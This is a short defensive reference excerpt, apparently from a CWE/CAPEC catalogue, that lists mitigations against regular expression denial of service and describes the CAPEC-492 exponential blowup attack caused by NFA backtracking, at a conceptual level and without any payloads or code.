Mitigation
Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
Mitigation
Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
Mitigation
Limit the length of the input that the regular expression will process.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.